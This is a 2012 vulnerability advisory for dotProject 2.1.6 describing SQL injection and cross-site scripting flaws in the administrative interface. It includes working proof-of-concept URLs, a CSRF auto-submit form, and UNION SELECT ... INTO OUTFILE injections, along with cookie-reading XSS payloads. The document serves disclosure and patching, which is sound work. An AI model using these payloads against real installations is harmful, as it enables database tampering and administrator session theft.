Advisory ID: HTB23124 Product: dotProject Vendor: dotproject.net Vulnerable Version(s): 2.1.6 and probably prior Tested Version: 2.1.6 Vendor Notification: October 31, 2012 Vendor Patch: November 7, 2012 Public Disclosure: November 21, 2012 Vulnerability Type: SQL Injection [CWE-89], Cross-Site Scripting [CWE-79] CVE References: CVE-2012-5701, CVE-2012-5702 CVSSv2 Base Scores: 6 (AV:N/AC:M/Au:S/C:P/I:P/A:P), 2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N) Solution Status: Fixed by Vendor Risk Level: Medium Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) ----------------------------------------------------------------------------------------------- Advisory Details: High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in dotProject, which can be exploited to perform SQL injection and cross-site scripting (XSS) attacks. 1) SQL Injection in dotProject: CVE-2012-5701 High-Tech Bridge Security Research Lab has discovered multiple SQL injection vulnerabilities in dotProject administrative interface. A remote authenticated administrator can execute arbitrary SQL commands in application's database. These vulnerabilities could also be exploited by a remote non-authenticated attacker via CSRF vector, since the application is prone to cross-site request forgery attacks. In order to do so an attacker should trick the logged-in administrator to visit a web page with CSRF exploit. 1.1 Vulnerability exists due to insufficient sanitation of input passed via the "search_string" HTTP GET parameter to the index.php script. A remote authenticated administrator can execute arbitrary SQL commands in application's database. Depending on database and system configuration, this PoC code will create a /tmp/file.txt file, containing MySQL server version: http://[host]/index.php?m=contacts&search_string=0%27%29%20UNION%20SELECT%20version(),2,3,4,5,6,7,8,9,10,11%20INTO%20OUTFILE%20%27file.txt%27%20--%202 The second PoC demonstrates exploitation of the same vulnerability via CSRF vector: <form action="http://[host]/index.php" method="GET" name="F1"> <input type="hidden" name="m" value="contacts"> <input type="hidden" name="search_string" value="0') UNION SELECT version(),2,3,4,5,6,7,8,9,10,11 INTO OUTFILE '/tmp/file.txt' -- 2"> </form> <script> document.F1.Submit(); </script> 1.2 Vulnerability exists due to insufficient sanitation of input passed via the "where" HTTP GET parameter to the index.php script. A remote authenticated administrator can execute arbitrary SQL commands in application's database. Depending on database and system configuration, this PoC code will create a /tmp/file.txt file, containing MySQL server version: http://[host]/index.php?m=contacts&where=%27%29%20UNION%20SELECT%20version(),2,3,4,5,6,7,8,9,10,11%20INTO%20OUTFILE%20%27/tmp/file.txt%27%20--%202 1.3 Vulnerability exists due to insufficient sanitation of input passed via the "dept_id" HTTP GET parameter to the index.php script. A remote authenticated administrator can execute arbitrary SQL commands in application's database. Depending on database and system configuration, this PoC code will create a /tmp/file.txt file, containing MySQL server version: http://[host]/index.php?m=departments&dept_id=%27%20UNION%20SELECT%20version%28%29%20INTO%20OUTFILE%20%27/tmp/file.txt%27%20--%202 Successful exploitation of vulnerabilities 1.1 ? 1.3 requires that "magic_quotes_gpc" is set to "off" in php.ini. 1.4 Vulnerability exists due to insufficient sanitation of input passed via the "project_id" HTTP GET parameter to the index.php script. A remote authenticated administrator can execute arbitrary SQL commands in application's database. Depending on database and system configuration, this PoC code will create a /tmp/file.txt file, containing MySQL server version: http://[host]/?m=projects&update_project_status=1&project_status=1&project_id[]=%27%20UNION%20SELECT%20version%28%29%20INTO%20OUTFILE%20%27/tmp/file.txt%27%20--%202 1.5 Vulnerability exists due to insufficient sanitation of input passed via the "company_id" HTTP GET parameter to the index.php script. A remote authenticated administrator can execute arbitrary SQL commands in application's database. Depending on database and system configuration, this PoC code will create a /tmp/file.txt file, containing MySQL server version: http://[host]/?m=system&a=billingcode&company_id=0%20UNION%20SELECT%201,2,3,4,5,6%20INTO%20OUTFILE%20%27/tmp/file.txt%27%20--%202 2) Cross-Site Scripting (XSS) in dotProject: CVE-2012-5702 High-Tech Bridge Security Research Lab has discovered multiple cross-site scripting vulnerabilities in dotProject administrative interface. 2.1 Input sanitation error was found in the index.php script when handling the "callback" HTTP GET parameter. A remote attacker can execute arbitrary HTML and script code in administrator's browser in context of an affected website. The following PoC demonstrates the vulnerability: http://[host]/?m=public&a=color_selector&callback=%3C/script%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E 2.2 Input sanitation error was found in the index.php script when handling the "field" HTTP GET parameter. A remote attacker can execute arbitrary HTML and script code in administrator's browser in context of an affected website. The following PoC demonstrates the vulnerability: http://[host]/?m=public&a=date_format&field=%3C/script%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E 2.3 Input sanitation error was found in the index.php script when handling the "company_name" HTTP GET parameter. A remote attacker can execute arbitrary HTML and script code in administrator's browser in context of an affected website. The following PoC demonstrates the vulnerability: http://[host]/index.php?m=contacts&a=addedit&contact_id=0&company_id=1&company_name=%22%20onmouseover=%22javascript:alert%28document.cookie%29%22 2.4 Input sanitation error was found in the index.php script when handling the "date" HTTP GET parameter. A remote attacker can execute arbitrary HTML and script code in administrator's browser in context of an affected website. The following PoC demonstrates the vulnerability: http://[host]/index.php?a=day_view&date=%22%20onmouseover=%22javascript:alert%28document.cookie%29%22 ----------------------------------------------------------------------------------------------- Solution: Upgrade to dotProject 2.1.7 More Information: http://sourceforge.net/projects/dotproject/files/dotproject/dotProject%20Version%202.1.7/ ----------------------------------------------------------------------------------------------- References: [1] High-Tech Bridge Advisory HTB23124 - https://www.htbridge.com/advisory/HTB23124 - Multiple vulnerabilities in dotProject.
